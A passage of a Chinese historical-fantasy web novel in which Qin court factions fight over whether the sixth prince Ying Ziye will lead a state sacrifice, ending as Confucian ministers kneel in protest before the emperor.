老臣冯去疾手中的玉笏“啪嗒”落地,这位两朝元老瞪大眼睛,不可置信地望向御座。
蒙毅的铠甲发出清脆的
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碰撞声,他下意识地握紧了剑柄。
赵高站在阴影处,苍白的脸上闪过一丝阴鸷。
他袖中的手指微微颤抖。
阴阳家这是要彻底倒向六公子?
“肃静!”
他尖细的嗓音刺破嘈杂。
始皇帝的目光扫过众臣,最后落在赢子夜身上。
冕旒下的双眼深邃难测:“子夜,可满意这门亲事?”
赢子夜玄衣玉带,从容出列。
他嘴角噙着一丝若有若无的笑意:“儿臣,谢父皇恩典。”
就在此时,李斯突然持笏出列!
这位丞相的声音沉稳有力:“陛下,臣有本奏。”
始皇帝微微颔首:“讲。”
“六公子剿灭墨家叛逆,平定桑海之乱,收服诸子百家,功在社稷!!!”
李斯每说一句,就向前一步。
“臣请旨,半月后的祭祀大典,由六公子代长公子主持!”
此言一出,满朝如起伏的浪涛,再次哗然!
而这一次,所有人都不敢相信……
淳于越脸色煞白,胡须颤抖:“丞相!祭祀乃皇家重典,岂可擅改主礼之人?”
“长公子公务缠身,难以分身,六公子德才兼备,正可暂代其职,主持此次大典。”
李斯不紧不慢地打断,目光却瞥向赢子夜。
“更何况,阴阳家精通天象,天宗晓梦大师更是当世高人,有他们辅佐……”
他没有说完,但意思已经很明显——
这是在为赢子夜铺路。
更是昭告所有人,六公子如今,羽翼丰满,可堪大任!!!
赵高的眼皮剧烈跳动,脸色阴晴不定。
他死死盯着李斯的背影,指甲深深掐入掌心。
这个老狐狸,说不定更早之前,就已经倒向了六公子。
始皇帝面色如渊,却并没有即刻表态,十二旒玉珠碰撞出清脆声响。
蒙毅偷眼看向赢子夜,只见这位六公子立在殿中,晨光为他镀上一层金边。
那玄色朝服上的暗金龙纹,在阳光下竟似要破衣而出。
赵高震惊之下,回望黑冰龙台,恍惚间仿佛看到两条龙影——
一条盘踞御座,一条……
正站在赢子夜身后。
第117章 胡亥:儿臣附议丞相之言!
然而,空气却在这时骤然凝固!
“臣有异议!”
淳于越踉跄出列,苍老的声音带着颤抖,
“祭天大典向来由长公子主持,此乃祖制!六公子虽立大功,然长幼有序,礼不可废啊!”
他话音未落,十余名儒臣齐刷刷跪倒在地,玉笏高举:
“请陛下三思!”
扶苏站在文臣首位,温润如玉的面容此刻苍白如纸。
他握紧玉笏的手指节发白,却仍保持着谦和姿态:“父皇,儿臣……”
“哎呀呀~”
一个轻佻的声音突然打断了他。
胡亥蹦跳着出列,锦袍上的金线晃得人眼花,
“六哥立下这么大功劳,主持个祭天怎么了?”
他歪着头,天真无邪地看向始皇帝。
“父皇,儿臣觉得丞相大人说得对!”
赢子夜眼角余光扫过胡亥,金色瞳孔中闪过一丝冷意。
这个小狐狸,倒是会挑时候。
李斯捋须微笑:
“十八公子明理,祭天重在诚心,六公子德才兼备……”
“荒谬!”
一位白发老臣突然厉喝,
“礼法乃立国之本!长公子仁厚贤明,岂可因一时之功而废礼?”
一些武将也沉声附和:
“陛下,祭天关系国运,不可轻率。”
殿中顿时分成两派,争吵不休。
赢子夜却始终沉默,玄色朝服上的暗纹在阳光下若隐若现。
而龙台上,始皇帝的目光在群臣和几个儿子之间来回扫视。
良久,他缓缓开口:
“此事……容后再议。”
李斯眼中闪过一丝失望,但很快掩饰过去。
赵高在阴影处微微勾起嘴角。
这场戏,倒是越来越有趣了。
退朝钟声响起,众臣跪拜。
赢子夜起身时,恰好与扶苏四目相对。
长公子温润的眸子里,第一次流露出复杂的情绪。
“六弟……”
扶苏欲言又止。
赢子夜微微颔首:
“长兄保重身体。”
说罢,玄色衣摆扫过玉阶,转身离去。
殿外长廊,李斯快步追上赢子夜:“公子方才为何沉默……”
“丞相。”
赢子夜驻足,金色瞳孔在阳光下妖异非常,
“祭天之事,急不得。”
李斯一怔,随即会意:“公子深谋远虑,老臣佩服。”
远处,胡亥蹦跳着路过,天真烂漫地挥手:“六哥!改日来我宫里玩啊!”
赢子夜唇角微扬。
“一定。”
……
长公子府。
殿外,秋风瑟瑟,卷起几片枯黄的落叶,在青石板上打着旋儿。
淳于越踉跄几步,追上扶苏,苍老的脸上满是焦急与不甘。
他一把拉住扶苏的衣袖,声音压得极低,却掩不住那股愤懑:
“长公子!此事关乎礼法,关乎国本,岂能如此轻易退让?”
“六公子虽功勋卓著,但祭天乃天子之礼,若由他主持,天下人该如何看待您?”
扶苏脚步一顿,缓缓转过身来。
他的面容依旧温润如玉,眉宇间却隐隐透出一丝疲惫。
他轻轻拂开淳于越的手,语气平和却坚定:
“淳博士,父皇既已有决断,为人子者,自当遵从。”
“更何况,六弟才德兼备,由他主持祭天,亦无不可。”
“可这不合礼制啊!”
淳于越急得胡须直颤,声音也不由得提高了几分:
“长幼有序,乃圣人之训!”
“若连祭天这等大事都能随意更易,那礼法何在?”
“纲常何在?”
周围的儒臣们纷纷围拢过来,脸上皆是不忿之色。
一名年轻儒生忍不住上前一步,拱手道:
“长公子,六公子虽立大功,但终究是次子。”
“若由他代行天子之礼,岂不是向天下人昭示,储君之位亦可动摇?”
“此例一开,后患无穷啊!!!”
扶苏的目光从众人脸上一一扫过,见他们个个神情激动,不由得轻叹一声。
他微微抬手,示意众人安静,而后温声道:
“诸位的心意,扶苏明白。”
“但正因如此,我们更该谨守本分,不可逾越。”
“父皇圣明烛照,自有考量。”
“若我们因一己之私而妄加非议,反倒显得心胸狭隘,非君子所为。”
淳于越闻言,脸色一阵青一阵白。
他咬了咬牙,低声道:
“长公子仁厚,可有些人未必领情!”
“六公子如今势大,连李斯都倒向了他,若再让他主持祭天,只怕……”
“只怕日后这朝堂之上,再无我儒家立足之地!”
扶苏眉头微蹙,眼中闪过一丝复杂之色。
他何尝不明白淳于越的担忧?
自赢子夜从桑海归来,朝中风向已然微妙。
那些曾经对他毕恭毕敬的臣子,如今望向他的眼神里,多了几分犹疑与权衡。
可越是如此,他越不
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能失了分寸。
“老师。”
扶苏的声音沉了下来,目光如炬:
“儒家立世,当以‘仁’为本,以‘礼’为纲。”
“若因权位之争而失了初心,那才是真正的祸患。”
“今日之言,我不希望再听到第二次!”
淳于越被他的目光所慑,一时语塞。
其余儒臣也面面相觑,不敢再多言。
扶苏见众人沉默,语气稍缓:
“诸位皆是我大秦栋梁,当以国事为重。”
“六弟能为父皇分忧,亦是社稷之福。”
“至于其他……顺其自然便好。”
他说完,转身欲走。
却听身后一名年迈的儒臣颤声道:
“长公子,老臣并非贪恋权位。”
“只是……只是不忍见您受委屈啊!”
扶苏脚步一顿,背对着众人,袖中的手微微攥紧。
秋风拂过他的衣袍,显得身形愈发单薄。
片刻后,他缓缓松开手,头也不回地说道:“多谢诸位挂怀。”
“但扶苏身为长子,自当为弟、妹表率。”
“若连这点委屈都受不得,又如何担得起天下重任?!”
他的声音很轻,却字字清晰!!!
仿佛一柄钝刀,缓缓割在众人心上。
待扶苏的身影消失在宫门之外,淳于越才长叹一声,颓然道:“长公子太过仁厚,如此下去,只怕……”
“淳博士慎言!”
一旁的张苍连忙打断他,警惕地环顾四周,压低声音道:
“隔墙有耳,若传入六公子耳中,恐生事端。”
淳于越苦笑一声,摇了摇头:
“罢了,罢了……”
“或许真是老夫多虑了。”
众人沉默着散去,唯有秋风依旧,卷着落叶在空荡的宫道上翻滚,发出沙沙的轻响。
仿佛在无声地诉说着什么。
而此刻,扶苏独自走在回府的路上,眉间的疲惫再难掩饰。
他抬头望向天空,乌云渐渐聚拢,遮住了原本明媚的秋阳。
“六弟……”
他低声喃喃,眼中闪过一丝复杂的情绪,有钦佩,有无奈,也有一丝难以言喻的落寞。
他知道,从赢子夜归来的那一刻起,某些东西就已经改变了。
而他所能做的,唯有守住本心,静观其变。
秋风掠过他的鬓角,带起几缕散落的发丝。
远处,隐约传来钟声,悠长而沉重。
仿佛预示着某种不可抗拒的洪流,正缓缓逼近。
第118章 丞相可是想做两朝元老!
十八公子府内,檀香袅袅。
胡亥斜倚在软榻上,指尖把玩着一枚白玉棋子,嘴角噙着一丝玩味的笑意。
赵高躬身立于阶下,宽大的袖袍垂落,遮住了他微微蜷缩的手指。
“老师今日…似乎有心事?”
胡亥懒洋洋地开口,棋子在他指间翻转,发出清脆的声响。
赵高身子又低了几分,声音恭敬中带着试探:
“老奴愚钝,不解公子今日朝堂上为何要替六公子说话……”
“呵。”
胡亥轻笑一声,忽然将棋子重重按在棋盘上,
“你当真不明白?”
赵高额头渗出细密的汗珠:
“老奴……”
“我要的,就是六哥和儒家那群老顽固斗起来。”
胡亥眯起眼睛,语气轻快。
“他们斗得越狠,我这十八公子府……才越清净啊。”
赵高眼中精光一闪,随即露出恍然之色:
“公子高明!儒家素来支持长公子,若六公子主持祭天……”
“所以啊,”
胡亥忽然坐直身子,眼中闪过一丝狠厉,
“务必要让六哥主持祭祀大典一事!!!”
“老奴明白。”
赵高深深一揖,嘴角勾起阴冷的弧度,
“定当全力促成此事。”
胡亥满意地点点头,又恢复了那副玩世不恭的模样。
他随手抓起一把棋子,任由它们从指缝间滑落,叮叮当当地砸在棋盘上。
“说起来……”
他忽然歪着头,露出天真无邪的笑容,
“六哥大婚在即,我这做弟弟的,该准备一份怎样的贺礼呢?”
赵高微微抬眼:
“公子不妨……”
“要特别些的。”
胡亥打断他,眼中闪烁着危险的光芒,
“比如……阴阳家那位少司命最喜欢的花?
或者……”
他轻轻摩挲着下巴,
“六哥最讨厌的东西?”
赵高背脊一凉,连忙低头:“老奴这就去准备。”
胡亥忽然大笑起来,笑声在空旷的殿内回荡:
“开个玩笑罢了!我自然要送六哥一份……让他终生难忘的大礼。”
他说着,随手将最后一枚棋子抛向空中。
棋子划出一道优美的弧线,最终落入香炉之中,溅起几点火星。
……
蜃楼。
最高层的观星台上。
星图流转,映照着东皇太一那张永远隐藏在黑色面具下的脸。
月神垂首而立,紫色薄纱无风自动,遮住了她若有所思的眼神。
“端木蓉和雪女的记忆已经封印完毕。”
月神的声音空灵飘渺,如同从很远的地方传来,
“按照六公子的吩咐,已经派人秘密送往他的府邸。”
东皇太一负手而立,宽大的黑袍在星光照耀下泛着幽暗的光泽。
他微微颔首,面具下传来低沉的回响:
“那个天明呢?”
“关在底舱的水牢中。”
月神轻声道,
“那孩子体内的力量…似乎有些异常波动。”
“无妨。”
东皇太一抬手,星图中几颗星辰突然亮起,
“留着他对我们还有用。”
月神犹豫片刻,薄纱下的红唇轻启:
“今日朝堂上,李斯提议由六公子主持祭天大典…我们是否需要暗中……”
“不必。”
东皇太一突然打断她,声音虽轻却不容置疑,
“六公子行事,自有主张。”
星图突然加速旋转,映得整个观星台明灭不定。
月神下意识后退半步,薄纱下的眉头微蹙:
“可若是六公子真能主持大典,对我阴阳家……”
“月神。”
东皇太一缓缓转身,面具下的目光如有实质。
“你太心急了。”
月神立刻垂首:“属下知错。”
“六公子的心思……”
东皇太一的声音忽然变得飘忽,
“连本座都尚未看透。”
“祭天一事,背后牵扯太多。”
“儒家、长公子、甚至那位十八公子……都在暗中角力。”
他抬手轻抚星图,一颗暗红色的星辰突然亮起:“阴阳家现在要做的,是静观其变。”
月神眼中闪过一丝不解:
“可若是六公子需要我们相助……”
“那也要等他开口。”
东皇太一冷冷道,
“记住,少司命即将嫁入公子府,这才是我们最重要的棋子。”
观星台陷入短暂的沉默,只有星图运转的细微声响。
月神轻叹一声,薄纱随风轻扬:
“属下明白了。”
东皇太一忽然抬手,星图中几颗星辰组成一个奇异的图案:
“告诉星魂,看好那个叫天明的孩子。”
“至于祭天大典……六公子若真有需要,自会来找我们。”
月神深深一揖,紫色身影缓缓退入阴影中。
东皇太一独自
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立于星图前,面具下的目光久久凝视着那颗越来越亮的暗红色星辰,仿佛在等待着什么。
……
六公子府邸。
书房内。
李斯躬身而立,双手捧着酒盏,脸上堆着恰到好处的笑容:
“恭喜公子得偿所愿,不仅收服噬牙狱众囚,更得陛下赐婚,实在是双喜临门啊。”
赢子夜斜倚在软榻上,玄色衣袍上的暗金玄鸟纹在烛光下若隐若现。
他指尖轻叩案几,发出清脆的声响:
“丞相客气了。说起来,今日朝堂上还要多谢丞相美言。”
李斯连忙放下酒盏,深深一揖:
“老臣惭愧,未经公子首肯便在朝堂上提议祭天一事,实在是……”
“丞相何出此言?”
赢子夜忽然轻笑,眼中金光流转,
“丞相一片苦心,本公子岂会不知?”
李斯刚要松口气,却听赢子夜话锋陡然一转:
“届时,丞相若是做个两朝元老,倒也是一桩美谈啊。”
这话如同一盆冰水当头浇下。
李斯浑身一僵,额角瞬间渗出细密的汗珠!
他慌忙跪伏在地,声音都有些发颤:
“老臣……老臣对陛下、对公子忠心耿耿,绝无二心啊!”
赢子夜静静看着李斯颤抖的背影,嘴角的笑意更深了。
他慢条斯理地抿了口酒,才悠悠道:
“丞相这是做什么?本公子不过是说笑罢了。”
李斯这才战战兢兢地抬起头,却见赢子夜已经恢复了往日温润如玉的模样,仿佛方才那句诛心之言从未说过。
但他分明看见,公子那双金色的瞳孔深处,依旧闪烁着令人心悸的寒光。
“老臣…老臣……”
李斯喉头发紧,竟一时语塞。
赢子夜随手将酒盏放下,发出清脆的碰撞声:
“丞相且宽心,本公子向来赏罚分明,你今日之举,我记下了。”
李斯连连叩首:
“能为公子效力,是老臣的福分。”
“起来吧。”
赢子夜摆了摆手,
“祭天一事,还需从长计议,儒家那边……”
“老臣明白。”
李斯急忙接话:
“淳于越等人不足为虑,老臣自有办法应对。”
赢子夜微微颔首,目光却已转向窗外。
暮色渐沉,天边最后一缕霞光正缓缓消散。
李斯识趣地告退,退出书房时,后背的官服早已被冷汗浸透。
第119章 若不为本公子所用,必为吾所杀!
李斯走后,书房内重归寂静。
赢子夜指尖轻敲案几,发出清脆的声响。
“把人带上来。”
他淡淡吩咐道。
不多时,两名暗河侍卫押着班大师走入书房。
老人须发凌乱,衣衫褴褛,却仍挺直腰背,浑浊的眼中燃烧着不屈的怒火。
“暴秦走狗!”
班大师一见到赢子夜便破口大骂,
“要杀要剐悉听尊便,老夫绝不会向你这等禽兽屈服!”
赢子夜不慌不忙地端起酒盏,轻啜一口。
“暴秦?”
他放下酒盏,金色瞳孔中闪过一丝讥诮,
“若非大秦一统天下,七国纷争还要持续多少年?”
“你们墨家口口声声兼爱非攻,却为一己私欲,助六国余孽作乱,这才是真正的禽兽所为。”
班大师脸色涨红,怒喝道:
“胡说八道!秦国暴虐无道,屠城灭国,天理难容!”
“天理?”
赢子夜忽然轻笑,
“胜者为王,败者为寇,这才是天理。”
他站起身,玄色衣袍上的暗金玄鸟纹在烛光下若隐若现,
“班大师,你想死很容易。”
“但墨家机关术传承千年,你真的愿意让它就此断绝?”
班大师浑身一震,眼中闪过一丝挣扎。
他死死盯着赢子夜,嘴唇颤抖着却说不出话来。
就在这时,门外传来侍卫的禀报声:
“公子,阴阳家已将人送到。”
赢子夜嘴角微扬:
“带上来。”
房门再次打开,两名紫衣女子缓步走入。
正是端木蓉和雪女,只是她们的眼神空洞冷漠,与从前判若两人。
“蓉姑娘!雪女!”
班大师激动地喊道,挣扎着想要上前。
然而两女对他的呼唤充耳不闻,径直走到赢子夜面前,恭敬行礼:
“主人。”
班大师如遭雷击,踉跄后退两步:
“你……你对她们做了什么?”
赢子夜轻轻抚过端木蓉的发丝,后者温顺地低下头。
“不过是封印了记忆罢了。”
他淡淡道,
“现在她们只效忠于本公子,班大师,你若不愿配合,本公子也可以让你变得和她们一样。”
班大师浑身发抖,眼中怒火与悲痛交织。
他死死攥着拳头,指甲深深掐入掌心,鲜血顺着指缝滴落。
“畜生……”
他咬牙切齿道。
“选择权在你。”
赢子夜坐回软榻,漫不经心地摆弄着手中的玉佩,
“是保留记忆为本公子效力,还是变成一具行尸走肉?”
书房内陷入死寂,只有班大师粗重的喘息声。
良久,老人颓然垂下头:
“……老夫答应你。”
赢子夜露出满意的笑容:
“明智的选择。”
他拍了拍手,
“来人,送班大师去公输先生那里。”
班大师猛地抬头:
“公输仇?!”
“正是。”
赢子夜眼中闪过一丝冷意,
“本公子要你将墨家机关术的精髓,尽数传授给公输仇。”
班大师脸色惨白:
“你休想!墨家机关术岂能……”
“别忘了她们。”
赢子夜打断他,指了指端木蓉和雪女,
“你若敢耍花样,本公子不介意让她们尝尝更厉害的术法。”
班大师浑身一颤,眼中的怒火渐渐被绝望取代。
他最后看了端木蓉和雪女一眼。
两女依旧面无表情地站在赢子夜身后,仿佛对眼前的一切毫无知觉。
“带下去。”
赢子夜挥了挥手。
侍卫上前架起班大师。
老人临走前死死盯着赢子夜:
“总有一天,你会为今日所作所为付出代价!”
赢子夜不以为意地笑了笑:
“或许吧。但在那之前,你会先看到墨家机关术成为大秦的利器。”
他转向侍卫:
“告诉公输仇,班大师无用之时,是杀是留,全凭他的手段。”
班大师被拖走后,赢子夜示意端木蓉和雪女上前。
他轻轻抬起端木蓉的下巴,仔细端详着她空洞的眼神:
“阴阳家的封魂咒,果然名不虚传。”
雪女安静地站在一旁,紫色的长发垂落,遮住了半边脸庞。
赢子夜转向她:
“从今日起,你们就是本公子的贴身侍卫,记住,你们的使命只有一个——”
“服从。”
“遵命,主人。”
两女异口同声道,声音机械而冰冷。
赢子夜满意地点点头,从袖中取出两本古朴的竹简和两个白玉瓷瓶,分别递给端木蓉和雪女。
“这本《青囊毒经》记载了天下奇毒与解毒之法,正合你医家出身。”
他将
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竹简递给端木蓉,又转向雪女。
“这《玄冰诀》乃上古冰系**,与你体质相合。”
两女恭敬接过,齐声道:
“谢主人赐予。”
赢子夜又取出丹药。
“此乃‘洗髓丹’,可助你们突破瓶颈,勤加修炼,莫要辜负本公子期望。”
“谨遵主人之命。”
两女再次行礼,却迟迟未退下。
赢子夜微微挑眉。
“还有何事?”
端木蓉与雪女对视一眼,忽然上前一步。
端木蓉轻声道:
“主人,请让我们侍奉您就寝。”
雪女也低垂着头,紫发遮住了泛红的耳尖。
“东皇大人吩咐……我们既是公子的人,自当尽心侍奉……”
赢子夜手中酒盏一顿,险些洒出酒水。
他轻咳一声。
“东皇太一还跟你们说了什么?”
“东皇大人说……”
端木蓉机械地复述着。
“要我们…满足公子一切需求……”
赢子夜额角跳了跳,心里暗骂东皇太一多事。
他瞥了眼端木蓉清丽的面容和雪女窈窕的身姿,不由得喉头微动,但很快又恢复了平静。
“咳咳…你们先下去。”
他摆摆手。
“眼下以修炼为主,其他事……日后再说。”
两女眼中闪过一丝困惑,但还是恭敬行礼。
“遵命。”
待她们退下后,赢子夜揉了揉太阳穴,自言自语道:
“东皇这个老狐狸…送人来还附带这种‘嘱咐’……”
他摇摇头,嘴角却不自觉扬起一丝笑意。
……
与此同时。
后面的庭院中,少司命独自倚栏而立。
夜风拂动她紫色的长发,月光为她蒙上一层朦胧的银纱。
“赐婚……”
她轻声呢喃,指尖无意识地绞着一缕发丝。
想到即将成为赢子夜的妻子,她心跳忽然加快,脸颊泛起淡淡的红晕。
“他会……喜欢我吗?”
这个念头一冒出来,少司命立刻羞得捂住发烫的脸。
她从未有过这样的情绪波动,这种陌生的感觉让她既期待又忐忑。
再次望向咸阳方向,她的眼中闪过一丝期待。
夜风送来远处的声音,仿佛在诉说着什么。
她轻轻摘下面纱,月光下那张绝美的容颜上,浮现出一抹罕见的温柔笑意。
第120章 儒臣逼宫!
淳于越府邸。
书房内,烛火摇曳,映照着十几张凝重而焦虑的面孔。
空气中弥漫着墨香与烟气,却掩盖不住那股压抑的躁动。
“诸位。”
淳于越将竹简重重拍在案几上,酒盏中的水纹荡开一圈涟漪,
“祭天大典一事,绝不能再退让了!”
年迈的叔孙通捋着花白胡须,眉头紧锁:
“淳于博士,六公子如今势大,连李斯都倒向了他,我们这般贸然行事,只怕……”
“怕什么?”
年轻的博士周青臣拍案而起,眼中燃烧着激愤的火焰,
“礼法乃立国之本!长幼有序,这是圣人之训!若连祭天这等大事都能随意更易,那天下纲常何在?”
角落里,一向谨慎的张苍轻咳一声:
“可陛下对六公子宠爱有加,我们这般直谏…”
“正因为如此,才更要争!”
淳于越猛地站起身,宽大的儒袍袖口扫落了案上的笔架。
“长公子仁德,若连祭天资格都被剥夺,那储君之位…”
他没有说下去。
但所有人都明白那未尽的含义。
书房内陷入短暂的沉默,只有烛火偶尔爆出轻微的噼啪声。
“淳于博士说得对。”
周青臣打破沉默,声音因激动而微微发颤,
“我们儒家辅佐长公子多年,若就此退缩,不但辜负了圣贤教诲,更对不起长公子的知遇之恩!”
叔孙通长叹一声:
“可六公子手段狠辣,桑海城那些墨家叛逆的下场……”
“我们不是叛逆!”
淳于越厉声打断,
“我们是堂堂正正的朝廷命官,是为大秦江山社稷进谏!”
“陛下圣明,岂会因忠言而加罪?”
他环视众人,浑浊的眼中闪烁着决然的光芒:
“明日一早,我们便去章台宫前跪谏。”
“老夫就不信,满朝儒臣齐声**,陛下会置之不理!!!”
“可若陛下真的……”
张苍欲言又止。
淳于越惨然一笑:
“当年孔子曰:‘志士仁人,无求生以害仁,有杀身以成仁。’若陛下真要治罪,老夫愿做第一个引颈就戮之人!”
这番话说得慷慨激昂,在座不少儒臣都红了眼眶!!
周青臣率先起身,深深一揖:
“学生愿随老师同往!”
“我也去!”
“算我一个!”
很快,书房内所有人都站了起来。
烛光将他们的影子投在墙上,连成一片倔强的剪影。
淳于越深吸一口气,从案几下方取出早已准备好的奏章:
“老夫已拟好谏书,列位请过目。”
“明日辰时,我们在章台宫前汇合。”
众人传阅着那份奏章。
只见上面密密麻麻写满了工整的篆字,字里行间皆是引经据典。
从三皇五帝说到周礼,力证祭天必须由储君主持的道理。
“好!就这么办!”
叔孙通终于也被感染,拍案定夺,
“明日我们一同**,为长公子争这个公道!”
夜色渐深,儒臣们陆续告辞。
淳于越独自站在庭院中,望着天上那轮冷月,喃喃自语:
“长公子啊长公子…老臣能做的,也只有这些了……”
秋风卷起他宽大的衣袖,露出里面早已准备好的白色丧服。
那是他为自己准备的最后一件衣裳。
……
翌日。
章台宫外,秋风肃杀!
七十余名儒臣身着素服,整整齐齐跪在宫门前。
为首的淳于越须发皆白,额头紧贴冰冷的青石板,双手高举奏章,在寒风中微微颤抖。
“陛下——!”
淳于越苍老的声音划破宫墙的寂静,
“老臣斗胆,请陛下收回成命!祭天大典关乎国本,理应由长公子主持啊!”
身后众儒齐声附和:
“请陛下三思——!”
宫门紧闭,只有黑甲侍卫如雕塑般伫立两侧,对眼前景象视若无睹。
“淳于博士。”
一名年轻儒生膝行上前,低声道,
“陛下当真会出来见我们吗?”
淳于越浑浊的眼中闪过一丝决然:
“当年先师为劝谏齐王,跪了三天三夜。”
“今日老夫便是跪死在这里,也要为天下正道争这一口气!”
正说话间,宫门内突然传来整齐的脚步声。
所有儒臣顿时屏息凝神,额头重重磕在地上。
“陛——下——驾——到——!”
随着宦官的尖声唱喝,沉重的宫门缓缓开启。
一股无形的威压如潮水般涌出,跪在最前面的几名儒臣不由自主地打了个寒颤。
始皇帝嬴政缓步而出。
他头戴十二旒冕冠,身着玄色帝袍,腰间佩着的定秦剑在秋阳下泛着冷光。
那张不怒自威的面容上看不出喜怒,唯有一双眼睛如深渊般摄人心魄。
每一步踏出,都仿佛有千钧之力压在众人心头。
七十余名儒臣齐声高呼:
“臣等叩见陛下!”
声音在空旷的宫门前回荡,却衬得四周更加寂静。
嬴政站定,目光缓缓扫过跪伏的群臣。
那视线所及之处,连秋风都为之一滞。
“淳于越。”
始皇帝开口,声音不大,却让所有人浑身一颤,
“你带着这么多臣工跪在这里,是要逼宫吗?”
淳于越额头渗出冷汗,却仍挺直腰背:
“老臣不敢!只是祭天大典乃天子之礼,若由六公子主持,恐违祖制啊!”
“祖制?”
嬴政嘴角微扬,眼中却无半分笑意。
“大秦的祖制,是朕定的。”
一名年轻气盛的儒生忍不住抬头:
“陛下!长公子仁德兼备,深得民心。”
“若贸然更易祭天主持,只怕天下人会……”
“住口!”
淳于越急忙喝止,却为时已晚。
嬴政的目光如利剑般刺向那名儒生。
年轻人顿时面色惨白,整个人如坠冰窟,伏在地上瑟瑟发抖!
“你们先起来吧。”
始皇帝收回目光,语气平淡。
“此事容后再议。”
说罢转身欲走,玄色龙袍在秋风中猎猎作响。
“陛下!”
淳于越突然高呼,
“若陛下不恩准,臣等便不起来!”
七十余名儒臣齐声附和:
“请陛下明鉴——!”
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嬴政的脚步顿住了。
整个章台宫前瞬间陷入死寂,连风声都仿佛凝固!
黑甲侍卫们不约而同地握紧了手中长戟。
始皇帝缓缓转身!
这一刻,所有跪着的儒臣都感到一阵刺骨的寒意从脊背窜上来。
淳于越的胡须不受控制地颤抖。
他忽然意识到自己可能犯了一个致命的错误。
嬴政的眼神变了。
那双原本深不可测的眼睛里,此刻正翻涌着令人胆寒的杀意。
不是暴怒,不是呵斥,而是一种平静到极致的冰冷,仿佛在看一群将死之人。
……
与此同时。
扶苏正在书房批阅典籍,忽见贴身侍卫匆忙闯入,连礼数都顾不得周全:
“公子,不好了!淳于博士带着数十位儒臣,此刻正跪在章台宫前**!”
“什么?!”
扶苏手中的竹简“啪”地一声掉在案几上。
温润如玉的面容瞬间血色尽褪。
他猛地站起身,衣袖带翻了酒盏,滚烫的热水溅在手上都浑然不觉。
“糊涂!糊涂啊!”
扶苏急得在书房内来回踱步。
修长的手指紧紧攥着衣袖。
“父皇最恨被人胁迫,博士他们这是……这是自寻死路!”
侍卫从未见过长公子如此失态,小心翼翼道:“公子,要不要立刻进宫……”
扶苏刚要点头,突然脚步一顿。
他望向窗外章台宫的方向,眼中闪过一丝清明:
“不…现在去章台宫,只会火上浇油。”
他猛地转身:“备车,去六弟府上!”
侍卫一愣:“六公子?可淳于博士他们是为了……”
“正因为如此,才更要找六弟!”
扶苏已经快步向外走去,声音里带着前所未有的急切。
“如今能劝住父皇的,恐怕只有他了!”
……
马车在咸阳街道上疾驰。
扶苏紧攥着车帘,指节都泛了白。
他脑海中不断浮现出淳于越白发苍苍的模样——
那位在他幼时手把手教他读书的老博士,如今竟要以命相谏!!!
“快些!再快些!”
扶苏罕见地催促车夫,全然失了往日的从容。
当马车停在六公子府前时,扶苏几乎是跳下车辇。
他顾不上整理被风吹乱的衣冠,快步走向府门,对守卫急声道:“速速通报,扶苏有要事求见六弟!”
守卫见他神色焦急,不敢怠慢,连忙进去通报。
扶苏在门外来回踱步,时不时望向章台宫方向,额头已渗出细密的汗珠。
“老师…诸位大人…你们千万要撑住……”
他低声喃喃,眼中满是忧虑与自责。
“都怪我平日太过纵容,才让你们做出这等糊涂事……”
秋风卷着落叶扫过他的衣摆。
扶苏忽然想起小时候淳于越教他的那句话。
“君子爱人以德。”
此刻他才真正明白,原来真正的仁德,不是一味纵容,而是要及时制止他人犯错。
“六弟……”
扶苏望着缓缓打开的府门,心中默默祈祷。
“望你看在天下苍生的份上,救救这些愚忠之人吧……”
第121章 若没了圣人之书,你们又当如何?
赢子夜的书房门被轻轻推开时,扶苏的衣袍下摆还沾着匆忙赶路时溅上的尘土。
他一进门便深深一揖,额头几乎触到地面:“六弟,为兄冒昧打扰了。”
赢子夜放下手中的竹简,瞳孔中闪过一丝讶异:“长兄何故如此大礼?”
他抬手示意侍从退下。
“有事但说无妨。”
扶苏直起身,素来温润的面容此刻满是焦虑:“淳于博士他们……此刻正跪在章台宫前**。”
他声音发紧:“为兄特来致歉,此事绝非我授意……”
赢子夜眼中金光微闪,轻笑一声:“长兄多虑了,那些儒生迂腐,我岂会怪罪到你头上?”
“可父皇……”
扶苏喉结滚动,手指无意识地攥紧了衣袖。
“六弟,为兄恳请你一同入宫劝谏。”
“淳博士年事已高,经不起……”
“长兄。”
赢子夜突然打断,声音沉了下来:“你可知道,正是你这般纵容,才会让儒家越发肆无忌惮?!”
他起身走到扶苏面前,玄色衣袍上的暗纹在烛光下若隐若现。
“终有一日,他们的愚忠会害了你,更会让父皇对你失望。”
扶苏脸色一白,却仍固执地摇头:“淳于博士教导我多年,我不能眼睁睁看着他们……”
“哪怕他们是在逼宫?”
赢子夜冷笑:“长兄可知道父皇最恨什么?”
扶苏身形晃了晃,眼中闪过一丝痛苦。
他何尝不明白?
父皇那些最为厌恶儒生的话语,还历历在目。
可正因如此,他才更不能坐视不理。
“六弟……”
扶苏忽然深深一揖到底,声音哽咽:“就当为兄求你,那些老臣…他们只是太固执,绝非存心忤逆……”
赢子夜静静看着长兄发颤的背影,良久,轻叹一声:“罢了。”
他转身取过挂在屏风上的外袍:“就随长兄走一趟吧。”
扶苏猛地抬头,眼中满是感激:“多谢六弟!”
“不必谢我。”
赢子夜系好衣带,瞳孔中闪过一丝复杂:“只望长兄记住今日之事。”
“仁厚是美德,但过分的仁慈…往往会害人害己。”
扶苏怔了怔,低声道:“为兄…记下了。”
两人快步走向府门时,秋风卷着落叶从他们脚边掠过。
扶苏望着远处章台宫的方向,心中默默祈祷还来得及。
而赢子夜的目光则落在扶苏紧绷的侧脸上,眼中闪过一丝难以察觉的怜悯。
“走吧。”
赢子夜轻声道:“但愿我们赶到时,那些儒生还能保住性命。”
……
章台宫前。
秋风肃杀。
七十余名儒臣跪伏在冰冷的青石板上,额头紧贴地面。
淳于越双手高举奏章,苍老的声音在寒风中颤抖:“陛下!祭天乃天子之礼,长幼有序,此乃圣人之训啊!”
始皇帝渊渟岳峙。
帝袍上的金线玄鸟纹在秋阳下泛着刺目的寒光。
十二旒冕冠下的面容如刀削般冷峻。
他每踏出一步,都仿佛有千钧之力压在众人心头。
“圣人之言?”
始皇帝的声音不疾不徐,却让所有跪着的儒臣浑身一颤。
“若是没有了圣人之书,你们又当如何?!”
这句话如同一道惊雷劈下。
淳于越猛地抬头,老眼圆睁:“陛、陛下…此言何意……”
“轰!”
始皇帝袖袍一挥,身旁的黑甲侍卫齐刷刷亮出长戟。
金属碰撞声震得众人耳膜生疼。
那股无形的帝王威压骤然爆发,跪在最前排的几名儒臣直接瘫软在地!!!
“父皇息怒!”
